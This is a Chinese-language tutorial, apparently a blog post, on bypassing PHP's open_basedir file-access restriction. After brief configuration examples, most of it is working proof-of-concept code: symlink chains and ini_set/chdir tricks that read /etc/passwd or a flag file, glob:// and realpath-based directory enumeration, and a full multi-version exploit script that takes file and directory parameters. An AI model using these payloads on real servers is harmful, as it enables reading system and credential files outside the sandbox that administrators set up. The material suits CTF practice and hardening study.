Php绕过open_basedir

它用于限制脚本能==访问==的文件系统路径,防止恶意脚本访问未授权的文件或目录。

四种设置方法:https://blog.bfw.wiki/user6/15666150320594960063.html

应用

一、多用户共享环境

通过设置每个用户的 open_basedir 为其分配的目录,可以确保每个用户无法访问其他用户的文件。例如,如果用户A的网站文件存放在 /home/userA/public_html/ 目录下,可以在用户A的虚拟主机配置或 .htaccess 文件中设置:

php_admin_value open_basedir "/home/userA/public_html/"

二、Web安全

假设有一个 Web 应用程序,其所有文件都存放在 /var/www/html/ 目录下。为了确保应用程序的安全,可以在应用程序的虚拟主机配置或 .htaccess 文件中设置:

php_admin_value open_basedir "/var/www/html/"

三、上传文件处理

​ 假设有一个文件上传功能,上传的文件应该存储在 /var/www/html/uploads/ 目录中。为了确保上传的文件只能保存在指定的目录中,可以在上传文件处理的 PHP 脚本中设置 open_basedir

ini_set('open_basedir', '/var/www/html/uploads/');

限制了什么

open_basedir 限制脚本可读写文件的目录,PHP中有关文件读、写的函数都会经过open_basedir的检查,本质上是一个黑名单,对于统计进这个机制的函数或者姿势进行过滤。

ps:注意用open_basedir指定的限制实际上是前缀,而不是目录名。 比如open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/user1"都是可以访问的

绕过

在php5.3以后很少有能够绕过open_basedir读写文件的方法。

系统命令执行

open_basedir和命令执行无关,如system函数

但是一般都会禁用命令执行函数

蚁剑

蚁剑disable_functions,GC_UAF和Backtrace_UAF都是可以用

symlink()软链接

symlink(string $target, string $link): bool

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

  • target

    连接的目标。

  • link

    连接的名称。

创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa ==文件夹==,但是 abc 还是指向了 aaa 也就是 aaa/../../../../etc/passwd,就进入了路径/etc/passwd

poc

 <?php
highlight_file ( __FILE__ );
mkdir ( "A" ); //创建目录
chdir ( "A" ); //切换目录
mkdir ( "B" );
chdir ( "B" );
mkdir ( "C" );
chdir ( "C" );
mkdir ( "D" );
chdir ( "D" );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
symlink ( "A/B/C/D" , "aaa" );
symlink ( "aaa/../../../../etc/passwd" , "abc" );
unlink ( "aaa" );
mkdir ( "aaa" );
?> 

还有一种姿势,原理类似

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');

glob伪协议 仅目录

glob伪协议在筛选目录时不受open_basedir制约,缺点在于==只能列目录==,且大多只能列根目录

以下payload可在php5.3以上读取仅针对linux根目录的目录

DirectoryIterator

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

scandir()

简单明了

<?php
var_dump(scandir('glob:///*'));
>

opendir()+readdir()

只能列目录,php7可以用如下方法读非根目录文件,glob:///*/www/../* 可列举 /var

<?php
if ( $b = opendir('glob:///*') ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

ini_set

从php底层去研究ini_set属于web-pwn的范畴了

注意这里的chdir(”..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止,比如php文件的位置为/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>
?c=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
?c=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

SplFileInfo::getRealPath() 仅目录

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'D:/CSGO/';  //这里写想看的目录
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
    $info = new SplFileInfo($basedir . $chars[$i] . '<<');
    $re = $info->getRealPath();
    if ($re) {
        echo $re."<br>";
    }
}

暴力破解 仅目录

对于windows系统

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';  //这里写想看的目录
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';  //这里写想看的目录
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}

以上都是windows下的列目录方式,用到了windows下通配符<>

这个是linux下的方法,dir传入的参数是目录,如果目录存在,就返回目录路径,不存在就返回bool(false),用于暴力猜解目录

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

p牛exp

多php版本读目录和读文件

用法:

  • 读目录 传?dir=/ 这种
  • 读文件 传?file=/flag 这种
<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}
0%